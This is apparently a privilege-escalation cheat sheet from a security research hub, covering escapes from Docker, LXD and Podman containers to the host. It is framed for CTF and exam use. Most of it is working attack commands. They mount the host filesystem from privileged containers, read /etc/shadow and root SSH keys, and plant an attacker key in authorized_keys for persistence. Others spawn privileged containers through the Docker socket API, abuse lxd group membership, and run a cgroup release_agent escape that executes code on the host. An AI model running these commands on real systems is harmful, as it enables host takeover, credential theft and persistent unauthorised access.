← Research Hub
Privilege Escalation

Docker / LXD Container Escape

Privileged container escapes via cgroup release_agent, LXD image import trick, Docker socket mounts, cap_sys_admin abuse, and host filesystem access.

Detecting Container Context

# Check if you're in a container
cat /proc/1/cgroup | grep -i docker
ls /.dockerenv  # exists in Docker containers
cat /run/.containerenv  # exists in Podman containers

# Check capabilities (high caps = privileged container)
capsh --print
# Look for: cap_sys_admin, cap_sys_ptrace, cap_net_admin

# Check mount points for host filesystem
findmnt | grep /host

Privileged Container Escape

# If --privileged flag was used, you can mount host filesystem
# Check: ls /.dockerenv && cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = full capabilities (privileged)

# Mount host root filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host  # or /dev/xvda1, /dev/nvme0n1p1

# Read host files (SSH keys, /etc/shadow)
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/id_rsa

# Write to host β€” add SSH key for persistence
echo 'ssh-rsa AAAA...' >> /mnt/host/root/.ssh/authorized_keys

# Chroot into host filesystem for full shell
chroot /mnt/host

Docker Socket Escape

# Check for Docker socket mount
ls -la /var/run/docker.sock

# If accessible from inside container, spawn privileged container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Without docker binary β€” use curl against socket
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
# Start a new privileged container via API:
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"],"Privileged":true}'

LXD Group Escape

# Check if current user is in lxd group
id | grep lxd

# If yes β€” import a minimal Alpine image and mount host
# On Kali: build LXD image
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder && sudo bash build-alpine
# Transfers: alpine-v3.x-x86_64.tar.gz

# On target:
lxc image import alpine-v3.x-x86_64.tar.gz --alias pwn
lxc init pwn privesc -c security.privileged=true
lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

# Now at /mnt/root β€” full host filesystem access
cat /mnt/root/etc/shadow

cgroup release_agent (No Privileged Flag)

# Works even without --privileged if CAP_SYS_ADMIN is available
# Or if running as root inside non-privileged container with cgroup v1

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
cat /output  # host's /etc/shadow

Exam Tips

  • Always check id for docker or lxd group membership β€” common privesc on CTF/exam hosts
  • Docker socket escape is the most reliable β€” if you see /var/run/docker.sock writable, you have root
  • LXD attack requires network access or file transfer to upload the Alpine image
  • Check env | grep -i docker for DOCKER_HOST pointing to a remote socket
  • Scan for container misconfigs with deepce.sh (automated Docker/container escape tool)